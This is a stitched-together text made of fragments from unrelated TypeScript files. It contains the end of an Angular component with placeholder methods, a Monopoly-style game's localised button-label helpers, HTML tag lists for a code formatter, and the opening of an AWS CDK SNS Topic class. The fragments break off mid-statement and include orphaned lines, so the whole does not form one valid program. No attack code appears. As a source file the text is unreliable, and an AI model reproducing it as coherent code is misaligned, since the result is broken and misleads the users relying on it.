        console.log('aaa');
        success();
      } catch (e) {
        fail();
      }
    });
  }

  ngOnInit() {
    //  this.foo().then(this.successMethod).catch(this.failMethod)
  }
  successMethod() {
    let h1 = document.getElementById('h11');
    h1.innerHTML = '<i class="div-red">sdfsafsaf</i>';
    console.log('success');
  }

  failMethod() {
    console.log('error');
  }

  showDiv() {
    this.show = true;
    this.nave = false;
  }

  showDiv2() {
    this.show = false;
    this.nave = true;
  }
}
import Game from '../../../entities/Game/Game';
import cells from '../../../entities/cells/cells';
import { createElement, appendElementTo, removeChildsFromElement } from '../../../helpFunctions/helpFunctions';
import { changeMoneyOnPlayerCard, setStreetRent, isPlayerHaveEnoughMoney } from '../../dialogWindow/dialogWindow';
import initHistoryWindow from '../../histiryWindow/historyWindow';
import Property from '../../../entities/ifacies/Property';
import Street from '../../../entities/Street/Street';
import { makeAllButtonsInactiveExceptPressed, makeAllButtonsActive } from '../../../inactiveButton/inactiveButton';
import lockPayOrBuyBtnIfNotEnoughMoney from '../../dialogWindow/payOrBuyButtonAccess/lockPayOrBuyButton';

function setFinishBuyHouseButton(): void {
  const currentLanguage: string = localStorage.getItem('language');
  const buyHouseButton: HTMLElement = document.querySelector('.button__buy-house');
  if (currentLanguage === 'EN') {
    buyHouseButton.innerText = 'Finish buying';
  } else if (currentLanguage === 'RU') {
    buyHouseButton.innerText = 'Завершить покупку';
  } else if (currentLanguage === 'BEL' ) {
    buyHouseButton.innerText = 'Завяршыць куплю';
  }
}

function setBuyHouseButton(): void {
  const currentLanguage: string = localStorage.getItem('language');
  const buyHouseButton: HTMLElement = document.querySelector('.button__buy-house');
  if (currentLanguage === 'EN')


 null,
		id: shape[0].shape_id,
	};
}
export type TagName = keyof HTMLElementTagNameMap | 'svg';

// @see http://xahlee.info/js/html5_non-closing_tag.html
export const selfClosingTags = [
    'area',
    'base',
    'br',
    'col',
    'embed',
    'hr',
    'img',
    'input',
    'link',
    'meta',
    'param',
    'source',
    'track',
    'wbr',
];

// https://developer.mozilla.org/en-US/docs/Web/HTML/Block-level_elements#Elements
export const blockElements: TagName[] = [
    'address',
    'article',
    'aside',
    'blockquote',
    'details',
    'dialog',
    'dd',
    'div',
    'dl',
    'dt',
    'fieldset',
    'figcaption',
    'figure',
    'footer',
    'form',
    'h1',
    'h2',
    'h3',
    'h4',
    'h5',
    'h6',
    'header',
    'hgroup',
    'hr',
    'li',
    'main',
    'nav',
    'ol',
    'p',
    'pre',
    'section',
    'table',
    'ul',
];

/**
 * HTML attributes that we may safely reformat (trim whitespace, add or remove newlines)
 */
export const formattableAttributes: string[] = [
    // None at the moment
    // Prettier HTML does not format attributes at all
    // and to be consistent we leave this array empty for now
];
import AWS = require('aws-sdk');

import { any, AnyShape, Mapper, MapperFactory, ShapeOrRecord, Value } from '@punchcard/shape';
import { Json } from '@punchcard/shape-json';
import { Build } from '../core/build';
import { CDK } from '../core/cdk';
import { Dependency } from '../core/dependency';
import { Resource } from '../core/resource';
import { Run } from '../core/run';
import { Queue } from '../sqs/queue';
import { Sink, sink, SinkProps } from '../util/sink';
import { Event } from './event';
import { Notifications } from './notifications';

import type * as sns from '@aws-cdk/aws-sns';
import type * as cdk from '@aws-cdk/core';

export interface TopicProps<T extends ShapeOrRecord = AnyShape> {
  /**
   * Shape of data in the topic.
   *
   * @default AnyShape
   */
  shape?: T;
  /**
   * Override serialziation mapper implementation. Messages are stringified
   * with a mapper when received/sent to/from a SNS Topic.
   *
   * @default Json
   */
  mapper?: MapperFactory<string>;

  /**
   * Override SNS Topic Props in the Build context - use this to change configuration
   * of the behavior with the AWS CDK.
   */
  topicProps?: Build<sns.TopicProps>
}

/**
 * A SNS `Topic` with notifications of type, `T`.
 *
 * @typeparam T type of notifications sent and emitted from the `Topic`.
 */
export class Topic<T extends ShapeOrRecord = AnyShape> implements Resource<sns.Topic> {
  public readonly mapper: Mapper<Value.Of<T>, string>;
  public readonly mapperFactory: MapperFactory<string>;
  public readonly resource: Build<sns.Topic>;
  public readonly shape: T;

  constructor(scope: Build<cdk.Construct>, id: string, props: TopicProps<T> = {}) {
    this.resource = CDK.chain(({sns}) => scope.chain(scope =>
      (props.topicProps || Build.of({})).map(props =>
        new sns.Topic(scope, id, props))));

    this.shape = (props?.shape || any) as T;

    this.mapperFactory = props?.mapper || Json.strin